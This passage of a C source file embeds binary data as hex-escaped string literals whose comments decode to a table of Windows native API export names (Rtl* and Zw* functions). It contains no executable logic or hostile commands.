\"\\x6C\\x53\\x74\\x72\\x69\\x6E\\x67\\x46\\x72\\x6F\\x6D\\x47\\x55\\x49\\x44\\x00\"   //lStringFromGUID.\n/* 00F280 */   \"\\x52\\x74\\x6C\\x53\\x75\\x62\\x41\\x75\\x74\\x68\\x6F\\x72\\x69\\x74\\x79\\x43\"   //RtlSubAuthorityC\n/* 00F2A0 */   \"\\x6F\\x75\\x6E\\x74\\x53\\x69\\x64\\x00\\x52\\x74\\x6C\\x53\\x75\\x62\\x41\\x75\"   //ountSid.RtlSubAu\n/* 00F2C0 */   \"\\x74\\x68\\x6F\\x72\\x69\\x74\\x79\\x53\\x69\\x64\\x00\\x52\\x74\\x6C\\x53\\x75\"   //thoritySid.RtlSu\n/* 00F2E0 */   \"\\x62\\x74\\x72\\x65\\x65\\x50\\x72\\x65\\x64\\x65\\x63\\x65\\x73\\x73\\x6F\\x72\"   //btreePredecessor\n/* 00F300 */   \"\\x00\\x52\\x74\\x6C\\x53\\x75\\x62\\x74\\x72\\x65\\x65\\x53\\x75\\x63\\x63\\x65\"   //.RtlSubtreeSucce\n/* 00F320 */   \"\\x73\\x73\\x6F\\x72\\x00\\x52\\x74\\x6C\\x53\\x79\\x73\\x74\\x65\\x6D\\x54\\x69\"   //ssor.RtlSystemTi\n/* 00F340 */   \"\\x6D\\x65\\x54\\x6F\\x4C\\x6F\\x63\\x61\\x6C\\x54\\x69\\x6D\\x65\\x00\\x52\\x74\"   //meToLocalTime.Rt\n/* 00F360 */   \"\\x6C\\x54\\x69\\x6D\\x65\\x46\\x69\\x65\\x6C\\x64\\x73\\x54\\x6F\\x54\\x69\\x6D\"   //lTimeFieldsToTim\n/* 00F380 */   \"\\x65\\x00\\x52\\x74\\x6C\\x54\\x69\\x6D\\x65\\x54\\x6F\\x45\\x6C\\x61\\x70\\x73\"   //e.RtlTimeToElaps\n/* 00F3A0 */   \"\\x65\\x64\\x54\\x69\\x6D\\x65\\x46\\x69\\x65\\x6C\\x64\\x73\\x00\\x52\\x74\\x6C\"   //edTimeFields.Rtl\n/* 00F3C0 */   \"\\x54\\x69\\x6D\\x65\\x54\\x6F\\x53\\x65\\x63\\x6F\\x6E\\x64\\x73\\x53\\x69\\x6E\"   //TimeToSecondsSin\n/* 00F3E0 */   \"\\x63\\x65\\x31\\x39\\x37\\x30\\x00\\x52\\x74\\x6C\\x54\\x69\\x6D\\x65\\x54\\x6F\"   //ce1970.RtlTimeTo\n/* 00F400 */   \"\\x53\\x65\\x63\\x6F\\x6E\\x64\\x73\\x53\\x69\\x6E\\x63\\x65\\x31\\x39\\x38\\x30\"   //SecondsSince1980\n/* 00F420 */   \"\\x00\\x52\\x74\\x6C\\x54\\x69\\x6D\\x65\\x54\\x6F\\x54\\x69\\x6D\\x65\\x46\\x69\"   //.RtlTimeToTimeFi\n/* 00F440 */   \"\\x65\\x6C\\x64\\x73\\x00\\x52\\x74\\x6C\\x54\\x72\\x61\\x63\\x65\\x44\\x61\\x74\"   //elds.RtlTraceDat\n/* 00F460 */   \"\\x61\\x62\\x61\\x73\\x65\\x41\\x64\\x64\\x00\\x52\\x74\\x6C\\x54\\x72\\x61\\x63\"   //abaseAdd.RtlTrac\n/* 00F480 */   \"\\x65\\x44\\x61\\x74\\x61\\x62\\x61\\x73\\x65\\x43\\x72\\x65\\x61\\x74\\x65\\x00\"   //eDatabaseCreate.\n/* 00F4A0 */   \"\\x52\\x74\\x6C\\x54\\x72\\x61\\x63\\x65\\x44\\x61\\x74\\x61\\x62\\x61\\x73\\x65\"   //RtlTraceDatabase\n/* 00F4C0 */   \"\\x44\\x65\\x73\\x74\\x72\\x6F\\x79\\x00\\x52\\x74\\x6C\\x54\\x72\\x61\\x63\\x65\"   //Destroy.RtlTrace\n/* 00F4E0 */   \"\\x44\\x61\\x74\\x61\\x62\\x61\\x73\\x65\\x45\\x6E\\x75\\x6D\\x65\\x72\\x61\\x74\"   //DatabaseEnumerat\n/* 00F500 */   \"\\x65\\x00\\x52\\x74\\x6C\\x54\\x72\\x61\\x63\\x65\\x44\\x61\\x74\\x61\\x62\\x61\"   //e.RtlTraceDataba\n/* 00F520 */   \"\\x73\\x65\\x46\\x69\\x6E\\x64\\x00\\x52\\x74\\x6C\\x54\\x72\\x61\\x63\\x65\\x44\"   //seFind.RtlTraceD\n/* 00F540 */   \"\\x61\\x74\\x61\\x62\\x61\\x73\\x65\\x4C\\x6F\\x63\\x6B\\x00\\x52\\x74\\x6C\\x54\"   //atabaseLock.RtlT\n/* 00F560 */   \"\\x72\\x61\\x63\\x65\\x44\\x61\\x74\\x61\\x62\\x61\\x73\\x65\\x55\\x6E\\x6C\\x6F\"   //raceDatabaseUnlo\n/* 00F580 */   \"\\x63\\x6B\\x00\\x52\\x74\\x6C\\x54\\x72\\x61\\x63\\x65\\x44\\x61\\x74\\x61\\x62\"   //ck.RtlTraceDatab\n/* 00F5A0 */   \"\\x61\\x73\\x65\\x56\\x61\\x6C\\x69\\x64\\x61\\x74\\x65\\x00\\x52\\x74\\x6C\\x54\"   //aseValidate.RtlT\n/* 00F5C0 */   \"\\x72\\x79\\x45\\x6E\\x74\\x65\\x72\\x43\\x72\\x69\\x74\\x69\\x63\\x61\\x6C\\x53\"   //ryEnterCriticalS\n/* 00F5E0 */   \"\\x65\\x63\\x74\\x69\\x6F\\x6E\\x00\\x52\\x74\\x6C\\x55\\x6C\\x6F\\x6E\\x67\\x42\"   //ection.RtlUlongB\n/* 00F600 */   \"\\x79\\x74\\x65\\x53\\x77\\x61\\x70\\x00\\x52\\x74\\x6C\\x55\\x6C\\x6F\\x6E\\x67\"   //yteSwap.RtlUlong\n/* 00F620 */   \"\\x6C\\x6F\\x6E\\x67\\x42\\x79\\x74\\x65\\x53\\x77\\x61\\x70\\x00\\x52\\x74\\x6C\"   //longByteSwap.Rtl\n/* 00F640 */   \"\\x55\\x6E\\x68\\x61\\x6E\\x64\\x6C\\x65\\x64\\x45\\x78\\x63\\x65\\x70\\x74\\x69\"   //UnhandledExcepti\n/* 00F660 */   \"\\x6F\\x6E\\x46\\x69\\x6C\\x74\\x65\\x72\\x00\\x52\\x74\\x6C\\x55\\x6E\\x68\\x61\"   //onFilter.RtlUnha\n/* 00F680 */   \"\\x6E\\x64\\x6C\\x65\\x64\\x45\\x78\\x63\\x65\\x70\\x74\\x69\\x6F\\x6E\\x46\\x69\"   //ndledExceptionFi\n/* 00F6A0 */   \"\\x6C\\x74\\x65\\x72\\x32\\x00\\x52\\x74\\x6C\\x55\\x6E\\x69\\x63\\x6F\\x64\\x65\"   //lter2.RtlUnicode\n/* 00F6C0 */   \"\\x53\\x74\\x72\\x69\\x6E\\x67\\x54\\x6F\\x41\\x6E\\x73\\x69\\x53\\x69\\x7A\\x65\"   //StringToAnsiSize\n/* 00F6E0 */   \"\\x00\\x52\\x74\\x6C\\x55\\x6E\\x69\\x63\\x6F\\x64\\x65\\x53\\x74\\x72\\x69\\x6E\"   //.RtlUnicodeStrin\n/* 00F700 */   \"\\x67\\x54\\x6F\\x41\\x6E\\x73\\x69\\x53\\x74\\x72\\x69\\x6E\\x67\\x00\\x52\\x74\"   //gToAnsiString.Rt\n/* 00F720 */   \"\\x6C\\x55\\x6E\\x69\\x63\\x6F\\x64\\x65\\x53\\x74\\x72\\x69\\x6E\\x67\\x54\\x6F\"   //lUnicodeStringTo\n/* 00F740 */   \"\\x43\\x6F\\x75\\x6E\\x74\\x65\\x64\\x4F\\x65\\x6D\\x53\\x74\\x72\\x69\\x6E\\x67\"   //CountedOemString\n/* 00F760 */   \"\\x00\\x52\\x74\\x6C\\x55\\x6E\\x69\\x63\\x6F\\x64\\x65\\x53\\x74\\x72\\x69\\x6E\"   //.RtlUnicodeStrin\n/* 00F780 */   \"\\x67\\x54\\x6F\\x49\\x6E\\x74\\x65\\x67\\x65\\x72\\x00\\x52\\x74\\x6C\\x55\\x6E\"   //gToInteger.RtlUn\n/* 00F7A0 */   \"\\x69\\x63\\x6F\\x64\\x65\\x53\\x74\\x72\\x69\\x6E\\x67\\x54\\x6F\\x4F\\x65\\x6D\"   //icodeStringToOem\n/* 00F7C0 */   \"\\x53\\x69\\x7A\\x65\\x00\\x52\\x74\\x6C\\x55\\x6E\\x69\\x63\\x6F\\x64\\x65\\x53\"   //Size.RtlUnicodeS\n/* 00F7E0 */   \"\\x74\\x72\\x69\\x6E\\x67\\x54\\x6F\\x4F\\x65\\x6D\\x53\\x74\\x72\\x69\\x6E\\x67\"   //tringToOemString\n/* 00F800 */   \"\\x00\\x52\\x74\\x6C\\x55\\x6E\\x69\\x63\\x6F\\x64\\x65\\x54\\x6F\\x43\\x75\\x73\"   //.RtlUnicodeToCus\n/* 00F820 */   \"\\x74\\x6F\\x6D\\x43\\x50\\x4E\\x00\\x52\\x74\\x6C\\x55\\x6E\\x69\\x63\\x6F\\x64\"   //tomCPN.RtlUnicod\n/* 00F840 */   \"\\x65\\x54\\x6F\\x4D\\x75\\x6C\\x74\\x69\\x42\\x79\\x74\\x65\\x4E\\x00\\x52\\x74\"   //eToMultiByteN.Rt\n/* 00F860 */   \"\\x6C\\x55\\x6E\\x69\\x63\\x6F\\x64\\x65\\x54\\x6F\\x4D\\x75\\x6C\\x74\\x69\\x42\"   //lUnicodeToMultiB\n/* 00F880 */   \"\\x79\\x74\\x65\\x53\\x69\\x7A\\x65\\x00\\x52\\x74\\x6C\\x55\\x6E\\x69\\x63\\x6F\"   //yteSize.RtlUnico\n/* 00F8A0 */   \"\\x64\\x65\\x54\\x6F\\x4F\\x65\\x6D\\x4E\\x00\\x52\\x74\\x6C\\x55\\x6E\\x69\\x66\"   //deToOemN.RtlUnif\n/* 00F8C0 */   \"\\x6F\\x72\\x6D\\x00\\x52\\x74\\x6C\\x55\\x6E\\x6C\\x6F\\x63\\x6B\\x42\\x6F\\x6F\"   //orm.RtlUnlockBoo\n/* 00F8E0 */   \"\\x74\\x53\\x74\\x61\\x74\\x75\\x73\\x44\\x61\\x74\\x61\\x00\\x52\\x74\\x6C\\x55\"   //tStatusData.RtlU\n/* 00F900 */   \"\\x6E\\x6C\\x6F\\x63\\x6B\\x48\\x65\\x61\\x70\\x00\\x52\\x74\\x6C\\x55\\x6E\\x6C\"   //nlockHeap.RtlUnl\n/* 00F920 */   \"\\x6F\\x63\\x6B\\x4D\\x65\\x6D\\x6F\\x72\\x79\\x53\\x74\\x72\\x65\\x61\\x6D\\x52\"   //ockMemoryStreamR\n/* 00F940 */   \"\\x65\\x67\\x69\\x6F\\x6E\\x00\\x52\\x74\\x6C\\x55\\x6E\\x77\\x69\\x6E\\x64\\x00\"   //egion.RtlUnwind.\n/* 00F960 */   \"\\x52\\x74\\x6C\\x55\\x70\\x63\\x61\\x73\\x65\\x55\\x6E\\x69\\x63\\x6F\\x64\\x65\"   //RtlUpcaseUnicode\n/* 00F980 */   \"\\x43\\x68\\x61\\x72\\x00\\x52\\x74\\x6C\\x55\\x70\\x63\\x61\\x73\\x65\\x55\\x6E\"   //Char.RtlUpcaseUn\n/* 00F9A0 */   \"\\x69\\x63\\x6F\\x64\\x65\\x53\\x74\\x72\\x69\\x6E\\x67\\x00\\x52\\x74\\x6C\\x55\"   //icodeString.RtlU\n/* 00F9C0 */   \"\\x70\\x63\\x61\\x73\\x65\\x55\\x6E\\x69\\x63\\x6F\\x64\\x65\\x53\\x74\\x72\\x69\"   //pcaseUnicodeStri\n/* 00F9E0 */   \"\\x6E\\x67\\x54\\x6F\\x41\\x6E\\x73\\x69\\x53\\x74\\x72\\x69\\x6E\\x67\\x00\\x52\"   //ngToAnsiString.R\n/* 00FA00 */   \"\\x74\\x6C\\x55\\x70\\x63\\x61\\x73\\x65\\x55\\x6E\\x69\\x63\\x6F\\x64\\x65\\x53\"   //tlUpcaseUnicodeS\n/* 00FA20 */   \"\\x74\\x72\\x69\\x6E\\x67\\x54\\x6F\\x43\\x6F\\x75\\x6E\\x74\\x65\\x64\\x4F\\x65\"   //tringToCountedOe\n/* 00FA40 */   \"\\x6D\\x53\\x74\\x72\\x69\\x6E\\x67\\x00\\x52\\x74\\x6C\\x55\\x70\\x63\\x61\\x73\"   //mString.RtlUpcas\n/* 00FA60 */   \"\\x65\\x55\\x6E\\x69\\x63\\x6F\\x64\\x65\\x53\\x74\\x72\\x69\\x6E\\x67\\x54\\x6F\"   //eUnicodeStringTo\n/* 00FA80 */   \"\\x4F\\x65\\x6D\\x53\\x74\\x72\\x69\\x6E\\x67\\x00\\x52\\x74\\x6C\\x55\\x70\\x63\"   //OemString.RtlUpc\n/* 00FAA0 */   \"\\x61\\x73\\x65\\x55\\x6E\\x69\\x63\\x6F\\x64\\x65\\x54\\x6F\\x43\\x75\\x73\\x74\"   //aseUnicodeToCust\n/* 00FAC0 */   \"\\x6F\\x6D\\x43\\x50\\x4E\\x00\\x52\\x74\\x6C\\x55\\x70\\x63\\x61\\x73\\x65\\x55\"   //omCPN.RtlUpcaseU\n/* 00FAE0 */   \"\\x6E\\x69\\x63\\x6F\\x64\\x65\\x54\\x6F\\x4D\\x75\\x6C\\x74\\x69\\x42\\x79\\x74\"   //nicodeToMultiByt\n/* 00FB00 */   \"\\x65\\x4E\\x00\\x52\\x74\\x6C\\x55\\x70\\x63\\x61\\x73\\x65\\x55\\x6E\\x69\\x63\"   //eN.RtlUpcaseUnic\n/* 00FB20 */   \"\\x6F\\x64\\x65\\x54\\x6F\\x4F\\x65\\x6D\\x4E\\x00\\x52\\x74\\x6C\\x55\\x70\\x64\"   //odeToOemN.RtlUpd\n/* 00FB40 */   \"\\x61\\x74\\x65\\x54\\x69\\x6D\\x65\\x72\\x00\\x52\\x74\\x6C\\x55\\x70\\x70\\x65\"   //ateTimer.RtlUppe\n/* 00FB60 */   \"\\x72\\x43\\x68\\x61\\x72\\x00\\x52\\x74\\x6C\\x55\\x70\\x70\\x65\\x72\\x53\\x74\"   //rChar.RtlUpperSt\n/* 00FB80 */   \"\\x72\\x69\\x6E\\x67\\x00\\x52\\x74\\x6C\\x55\\x73\\x61\\x67\\x65\\x48\\x65\\x61\"   //ring.RtlUsageHea\n/* 00FBA0 */   \"\\x70\\x00\\x52\\x74\\x6C\\x55\\x73\\x68\\x6F\\x72\\x74\\x42\\x79\\x74\\x65\\x53\"   //p.RtlUshortByteS\n/* 00FBC0 */   \"\\x77\\x61\\x70\\x00\\x52\\x74\\x6C\\x56\\x61\\x6C\\x69\\x64\\x41\\x63\\x6C\\x00\"   //wap.RtlValidAcl.\n/* 00FBE0 */   \"\\x52\\x74\\x6C\\x56\\x61\\x6C\\x69\\x64\\x52\\x65\\x6C\\x61\\x74\\x69\\x76\\x65\"   //RtlValidRelative\n/* 00FC00 */   \"\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x44\\x65\\x73\\x63\\x72\\x69\\x70\\x74\"   //SecurityDescript\n/* 00FC20 */   \"\\x6F\\x72\\x00\\x52\\x74\\x6C\\x56\\x61\\x6C\\x69\\x64\\x53\\x65\\x63\\x75\\x72\"   //or.RtlValidSecur\n/* 00FC40 */   \"\\x69\\x74\\x79\\x44\\x65\\x73\\x63\\x72\\x69\\x70\\x74\\x6F\\x72\\x00\\x52\\x74\"   //ityDescriptor.Rt\n/* 00FC60 */   \"\\x6C\\x56\\x61\\x6C\\x69\\x64\\x53\\x69\\x64\\x00\\x52\\x74\\x6C\\x56\\x61\\x6C\"   //lValidSid.RtlVal\n/* 00FC80 */   \"\\x69\\x64\\x61\\x74\\x65\\x48\\x65\\x61\\x70\\x00\\x52\\x74\\x6C\\x56\\x61\\x6C\"   //idateHeap.RtlVal\n/* 00FCA0 */   \"\\x69\\x64\\x61\\x74\\x65\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x48\\x65\\x61\\x70\"   //idateProcessHeap\n/* 00FCC0 */   \"\\x73\\x00\\x52\\x74\\x6C\\x56\\x61\\x6C\\x69\\x64\\x61\\x74\\x65\\x55\\x6E\\x69\"   //s.RtlValidateUni\n/* 00FCE0 */   \"\\x63\\x6F\\x64\\x65\\x53\\x74\\x72\\x69\\x6E\\x67\\x00\\x52\\x74\\x6C\\x56\\x65\"   //codeString.RtlVe\n/* 00FD00 */   \"\\x72\\x69\\x66\\x79\\x56\\x65\\x72\\x73\\x69\\x6F\\x6E\\x49\\x6E\\x66\\x6F\\x00\"   //rifyVersionInfo.\n/* 00FD20 */   \"\\x52\\x74\\x6C\\x57\\x61\\x6C\\x6B\\x46\\x72\\x61\\x6D\\x65\\x43\\x68\\x61\\x69\"   //RtlWalkFrameChai\n/* 00FD40 */   \"\\x6E\\x00\\x52\\x74\\x6C\\x57\\x61\\x6C\\x6B\\x48\\x65\\x61\\x70\\x00\\x52\\x74\"   //n.RtlWalkHeap.Rt\n/* 00FD60 */   \"\\x6C\\x57\\x72\\x69\\x74\\x65\\x4D\\x65\\x6D\\x6F\\x72\\x79\\x53\\x74\\x72\\x65\"   //lWriteMemoryStre\n/* 00FD80 */   \"\\x61\\x6D\\x00\\x52\\x74\\x6C\\x57\\x72\\x69\\x74\\x65\\x52\\x65\\x67\\x69\\x73\"   //am.RtlWriteRegis\n/* 00FDA0 */   \"\\x74\\x72\\x79\\x56\\x61\\x6C\\x75\\x65\\x00\\x52\\x74\\x6C\\x5A\\x65\\x72\\x6F\"   //tryValue.RtlZero\n/* 00FDC0 */   \"\\x48\\x65\\x61\\x70\\x00\\x52\\x74\\x6C\\x5A\\x65\\x72\\x6F\\x4D\\x65\\x6D\\x6F\"   //Heap.RtlZeroMemo\n/* 00FDE0 */   \"\\x72\\x79\\x00\\x52\\x74\\x6C\\x5A\\x6F\\x6D\\x62\\x69\\x66\\x79\\x41\\x63\\x74\"   //ry.RtlZombifyAct\n/* 00FE00 */   \"\\x69\\x76\\x61\\x74\\x69\\x6F\\x6E\\x43\\x6F\\x6E\\x74\\x65\\x78\\x74\\x00\\x52\"   //ivationContext.R\n/* 00FE20 */   \"\\x74\\x6C\\x70\\x41\\x70\\x70\\x6C\\x79\\x4C\\x65\\x6E\\x67\\x74\\x68\\x46\\x75\"   //tlpApplyLengthFu\n/* 00FE40 */   \"\\x6E\\x63\\x74\\x69\\x6F\\x6E\\x00\\x52\\x74\\x6C\\x70\\x45\\x6E\\x73\\x75\\x72\"   //nction.RtlpEnsur\n/* 00FE60 */   \"\\x65\\x42\\x75\\x66\\x66\\x65\\x72\\x53\\x69\\x7A\\x65\\x00\\x52\\x74\\x6C\\x70\"   //eBufferSize.Rtlp\n/* 00FE80 */   \"\\x4E\\x6F\\x74\\x4F\\x77\\x6E\\x65\\x72\\x43\\x72\\x69\\x74\\x69\\x63\\x61\\x6C\"   //NotOwnerCritical\n/* 00FEA0 */   \"\\x53\\x65\\x63\\x74\\x69\\x6F\\x6E\\x00\\x52\\x74\\x6C\\x70\\x4E\\x74\\x43\\x72\"   //Section.RtlpNtCr\n/* 00FEC0 */   \"\\x65\\x61\\x74\\x65\\x4B\\x65\\x79\\x00\\x52\\x74\\x6C\\x70\\x4E\\x74\\x45\\x6E\"   //eateKey.RtlpNtEn\n/* 00FEE0 */   \"\\x75\\x6D\\x65\\x72\\x61\\x74\\x65\\x53\\x75\\x62\\x4B\\x65\\x79\\x00\\x52\\x74\"   //umerateSubKey.Rt\n/* 00FF00 */   \"\\x6C\\x70\\x4E\\x74\\x4D\\x61\\x6B\\x65\\x54\\x65\\x6D\\x70\\x6F\\x72\\x61\\x72\"   //lpNtMakeTemporar\n/* 00FF20 */   \"\\x79\\x4B\\x65\\x79\\x00\\x52\\x74\\x6C\\x70\\x4E\\x74\\x4F\\x70\\x65\\x6E\\x4B\"   //yKey.RtlpNtOpenK\n/* 00FF40 */   \"\\x65\\x79\\x00\\x52\\x74\\x6C\\x70\\x4E\\x74\\x51\\x75\\x65\\x72\\x79\\x56\\x61\"   //ey.RtlpNtQueryVa\n/* 00FF60 */   \"\\x6C\\x75\\x65\\x4B\\x65\\x79\\x00\\x52\\x74\\x6C\\x70\\x4E\\x74\\x53\\x65\\x74\"   //lueKey.RtlpNtSet\n/* 00FF80 */   \"\\x56\\x61\\x6C\\x75\\x65\\x4B\\x65\\x79\\x00\\x52\\x74\\x6C\\x70\\x55\\x6E\\x57\"   //ValueKey.RtlpUnW\n/* 00FFA0 */   \"\\x61\\x69\\x74\\x43\\x72\\x69\\x74\\x69\\x63\\x61\\x6C\\x53\\x65\\x63\\x74\\x69\"   //aitCriticalSecti\n/* 00FFC0 */   \"\\x6F\\x6E\\x00\\x52\\x74\\x6C\\x70\\x57\\x61\\x69\\x74\\x46\\x6F\\x72\\x43\\x72\"   //on.RtlpWaitForCr\n/* 00FFE0 */   \"\\x69\\x74\\x69\\x63\\x61\\x6C\\x53\\x65\\x63\\x74\\x69\\x6F\\x6E\\x00\\x52\\x74\"   //iticalSection.Rt\n/* 010000 */   \"\\x6C\\x78\\x41\\x6E\\x73\\x69\\x53\\x74\\x72\\x69\\x6E\\x67\\x54\\x6F\\x55\\x6E\"   //lxAnsiStringToUn\n/* 010020 */   \"\\x69\\x63\\x6F\\x64\\x65\\x53\\x69\\x7A\\x65\\x00\\x52\\x74\\x6C\\x78\\x4F\\x65\"   //icodeSize.RtlxOe\n/* 010040 */   \"\\x6D\\x53\\x74\\x72\\x69\\x6E\\x67\\x54\\x6F\\x55\\x6E\\x69\\x63\\x6F\\x64\\x65\"   //mStringToUnicode\n/* 010060 */   \"\\x53\\x69\\x7A\\x65\\x00\\x52\\x74\\x6C\\x78\\x55\\x6E\\x69\\x63\\x6F\\x64\\x65\"   //Size.RtlxUnicode\n/* 010080 */   \"\\x53\\x74\\x72\\x69\\x6E\\x67\\x54\\x6F\\x41\\x6E\\x73\\x69\\x53\\x69\\x7A\\x65\"   //StringToAnsiSize\n/* 0100A0 */   \"\\x00\\x52\\x74\\x6C\\x78\\x55\\x6E\\x69\\x63\\x6F\\x64\\x65\\x53\\x74\\x72\\x69\"   //.RtlxUnicodeStri\n/* 0100C0 */   \"\\x6E\\x67\\x54\\x6F\\x4F\\x65\\x6D\\x53\\x69\\x7A\\x65\\x00\\x56\\x65\\x72\\x53\"   //ngToOemSize.VerS\n/* 0100E0 */   \"\\x65\\x74\\x43\\x6F\\x6E\\x64\\x69\\x74\\x69\\x6F\\x6E\\x4D\\x61\\x73\\x6B\\x00\"   //etConditionMask.\n/* 010100 */   \"\\x5A\\x77\\x41\\x63\\x63\\x65\\x70\\x74\\x43\\x6F\\x6E\\x6E\\x65\\x63\\x74\\x50\"   //ZwAcceptConnectP\n/* 010120 */   \"\\x6F\\x72\\x74\\x00\\x5A\\x77\\x41\\x63\\x63\\x65\\x73\\x73\\x43\\x68\\x65\\x63\"   //ort.ZwAccessChec\n/* 010140 */   \"\\x6B\\x00\\x5A\\x77\\x41\\x63\\x63\\x65\\x73\\x73\\x43\\x68\\x65\\x63\\x6B\\x41\"   //k.ZwAccessCheckA\n/* 010160 */   \"\\x6E\\x64\\x41\\x75\\x64\\x69\\x74\\x41\\x6C\\x61\\x72\\x6D\\x00\\x5A\\x77\\x41\"   //ndAuditAlarm.ZwA\n/* 010180 */   \"\\x63\\x63\\x65\\x73\\x73\\x43\\x68\\x65\\x63\\x6B\\x42\\x79\\x54\\x79\\x70\\x65\"   //ccessCheckByType\n/* 0101A0 */   \"\\x00\\x5A\\x77\\x41\\x63\\x63\\x65\\x73\\x73\\x43\\x68\\x65\\x63\\x6B\\x42\\x79\"   //.ZwAccessCheckBy\n/* 0101C0 */   \"\\x54\\x79\\x70\\x65\\x41\\x6E\\x64\\x41\\x75\\x64\\x69\\x74\\x41\\x6C\\x61\\x72\"   //TypeAndAuditAlar\n/* 0101E0 */   \"\\x6D\\x00\\x5A\\x77\\x41\\x63\\x63\\x65\\x73\\x73\\x43\\x68\\x65\\x63\\x6B\\x42\"   //m.ZwAccessCheckB\n/* 010200 */   \"\\x79\\x54\\x79\\x70\\x65\\x52\\x65\\x73\\x75\\x6C\\x74\\x4C\\x69\\x73\\x74\\x00\"   //yTypeResultList.\n/* 010220 */   \"\\x5A\\x77\\x41\\x63\\x63\\x65\\x73\\x73\\x43\\x68\\x65\\x63\\x6B\\x42\\x79\\x54\"   //ZwAccessCheckByT\n/* 010240 */   \"\\x79\\x70\\x65\\x52\\x65\\x73\\x75\\x6C\\x74\\x4C\\x69\\x73\\x74\\x41\\x6E\\x64\"   //ypeResultListAnd\n/* 010260 */   \"\\x41\\x75\\x64\\x69\\x74\\x41\\x6C\\x61\\x72\\x6D\\x00\\x5A\\x77\\x41\\x63\\x63\"   //AuditAlarm.ZwAcc\n/* 010280 */   \"\\x65\\x73\\x73\\x43\\x68\\x65\\x63\\x6B\\x42\\x79\\x54\\x79\\x70\\x65\\x52\\x65\"   //essCheckByTypeRe\n/* 0102A0 */   \"\\x73\\x75\\x6C\\x74\\x4C\\x69\\x73\\x74\\x41\\x6E\\x64\\x41\\x75\\x64\\x69\\x74\"   //sultListAndAudit\n/* 0102C0 */   \"\\x41\\x6C\\x61\\x72\\x6D\\x42\\x79\\x48\\x61\\x6E\\x64\\x6C\\x65\\x00\\x5A\\x77\"   //AlarmByHandle.Zw\n/* 0102E0 */   \"\\x41\\x64\\x64\\x41\\x74\\x6F\\x6D\\x00\\x5A\\x77\\x41\\x64\\x64\\x42\\x6F\\x6F\"   //AddAtom.ZwAddBoo\n/* 010300 */   \"\\x74\\x45\\x6E\\x74\\x72\\x79\\x00\\x5A\\x77\\x41\\x64\\x6A\\x75\\x73\\x74\\x47\"   //tEntry.ZwAdjustG\n/* 010320 */   \"\\x72\\x6F\\x75\\x70\\x73\\x54\\x6F\\x6B\\x65\\x6E\\x00\\x5A\\x77\\x41\\x64\\x6A\"   //roupsToken.ZwAdj\n/* 010340 */   \"\\x75\\x73\\x74\\x50\\x72\\x69\\x76\\x69\\x6C\\x65\\x67\\x65\\x73\\x54\\x6F\\x6B\"   //ustPrivilegesTok\n/* 010360 */   \"\\x65\\x6E\\x00\\x5A\\x77\\x41\\x6C\\x65\\x72\\x74\\x52\\x65\\x73\\x75\\x6D\\x65\"   //en.ZwAlertResume\n/* 010380 */   \"\\x54\\x68\\x72\\x65\\x61\\x64\\x00\\x5A\\x77\\x41\\x6C\\x65\\x72\\x74\\x54\\x68\"   //Thread.ZwAlertTh\n/* 0103A0 */   \"\\x72\\x65\\x61\\x64\\x00\\x5A\\x77\\x41\\x6C\\x6C\\x6F\\x63\\x61\\x74\\x65\\x4C\"   //read.ZwAllocateL\n/* 0103C0 */   \"\\x6F\\x63\\x61\\x6C\\x6C\\x79\\x55\\x6E\\x69\\x71\\x75\\x65\\x49\\x64\\x00\\x5A\"   //ocallyUniqueId.Z\n/* 0103E0 */   \"\\x77\\x41\\x6C\\x6C\\x6F\\x63\\x61\\x74\\x65\\x55\\x73\\x65\\x72\\x50\\x68\\x79\"   //wAllocateUserPhy\n/* 010400 */   \"\\x73\\x69\\x63\\x61\\x6C\\x50\\x61\\x67\\x65\\x73\\x00\\x5A\\x77\\x41\\x6C\\x6C\"   //sicalPages.ZwAll\n/* 010420 */   \"\\x6F\\x63\\x61\\x74\\x65\\x55\\x75\\x69\\x64\\x73\\x00\\x5A\\x77\\x41\\x6C\\x6C\"   //ocateUuids.ZwAll\n/* 010440 */   \"\\x6F\\x63\\x61\\x74\\x65\\x56\\x69\\x72\\x74\\x75\\x61\\x6C\\x4D\\x65\\x6D\\x6F\"   //ocateVirtualMemo\n/* 010460 */   \"\\x72\\x79\\x00\\x5A\\x77\\x41\\x72\\x65\\x4D\\x61\\x70\\x70\\x65\\x64\\x46\\x69\"   //ry.ZwAreMappedFi\n/* 010480 */   \"\\x6C\\x65\\x73\\x54\\x68\\x65\\x53\\x61\\x6D\\x65\\x00\\x5A\\x77\\x41\\x73\\x73\"   //lesTheSame.ZwAss\n/* 0104A0 */   \"\\x69\\x67\\x6E\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x54\\x6F\\x4A\\x6F\\x62\\x4F\"   //ignProcessToJobO\n/* 0104C0 */   \"\\x62\\x6A\\x65\\x63\\x74\\x00\\x5A\\x77\\x43\\x61\\x6C\\x6C\\x62\\x61\\x63\\x6B\"   //bject.ZwCallback\n/* 0104E0 */   \"\\x52\\x65\\x74\\x75\\x72\\x6E\\x00\\x5A\\x77\\x43\\x61\\x6E\\x63\\x65\\x6C\\x44\"   //Return.ZwCancelD\n/* 010500 */   \"\\x65\\x76\\x69\\x63\\x65\\x57\\x61\\x6B\\x65\\x75\\x70\\x52\\x65\\x71\\x75\\x65\"   //eviceWakeupReque\n/* 010520 */   \"\\x73\\x74\\x00\\x5A\\x77\\x43\\x61\\x6E\\x63\\x65\\x6C\\x49\\x6F\\x46\\x69\\x6C\"   //st.ZwCancelIoFil\n/* 010540 */   \"\\x65\\x00\\x5A\\x77\\x43\\x61\\x6E\\x63\\x65\\x6C\\x54\\x69\\x6D\\x65\\x72\\x00\"   //e.ZwCancelTimer.\n/* 010560 */   \"\\x5A\\x77\\x43\\x6C\\x65\\x61\\x72\\x45\\x76\\x65\\x6E\\x74\\x00\\x5A\\x77\\x43\"   //ZwClearEvent.ZwC\n/* 010580 */   \"\\x6C\\x6F\\x73\\x65\\x00\\x5A\\x77\\x43\\x6C\\x6F\\x73\\x65\\x4F\\x62\\x6A\\x65\"   //lose.ZwCloseObje\n/* 0105A0 */   \"\\x63\\x74\\x41\\x75\\x64\\x69\\x74\\x41\\x6C\\x61\\x72\\x6D\\x00\\x5A\\x77\\x43\"   //ctAuditAlarm.ZwC\n/* 0105C0 */   \"\\x6F\\x6D\\x70\\x61\\x63\\x74\\x4B\\x65\\x79\\x73\\x00\\x5A\\x77\\x43\\x6F\\x6D\"   //ompactKeys.ZwCom\n/* 0105E0 */   